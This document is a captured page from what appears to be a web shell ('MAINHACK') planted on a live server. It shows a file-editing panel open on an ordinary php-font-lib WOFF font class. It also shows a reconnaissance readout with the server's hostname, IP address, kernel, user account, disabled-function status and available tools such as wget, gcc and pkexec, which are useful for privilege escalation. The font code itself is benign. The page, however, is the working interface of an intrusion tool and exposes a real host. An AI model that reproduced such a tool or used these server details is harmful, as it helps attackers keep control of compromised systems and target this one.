[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: File.php
<?php /** * @package php-font-lib * @link https://github.com/dompdf/php-font-lib * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License */ namespace FontLib\WOFF; use FontLib\Table\DirectoryEntry; /** * WOFF font file. * * @package php-font-lib * * @property TableDirectoryEntry[] $directory */ class File extends \FontLib\TrueType\File { function parseHeader() { if (!empty($this->header)) { return; } $this->header = new Header($this); $this->header->parse(); } public function load($file) { parent::load($file); $this->parseTableEntries(); $dataOffset = $this->pos() + count($this->directory) * 20; $fw = $this->getTempFile(false); $fr = $this->f; $this->f = $fw; $offset = $this->header->encode(); foreach ($this->directory as $entry) { // Read ... $this->f = $fr; $this->seek($entry->offset); $data = $this->read($entry->length); if ($entry->length < $entry->origLength) { $data = (string) gzuncompress($data); } // Prepare data ... $length = mb_strlen($data, '8bit'); $entry->length = $entry->origLength = $length; $entry->offset = $dataOffset; // Write ... $this->f = $fw; // Woff Entry $this->seek($offset); $offset += $this->write($entry->tag, 4); // tag $offset += $this->writeUInt32($dataOffset); // offset $offset += $this->writeUInt32($length); // length $offset += $this->writeUInt32($length); // origLength $offset += $this->writeUInt32(DirectoryEntry::computeChecksum($data)); // checksum // Data $this->seek($dataOffset); $dataOffset += $this->write($data, $length); } $this->f = $fw; $this->seek(0); // Need to re-parse this, don't know why $this->header = null; $this->directory = array(); $this->parseTableEntries(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002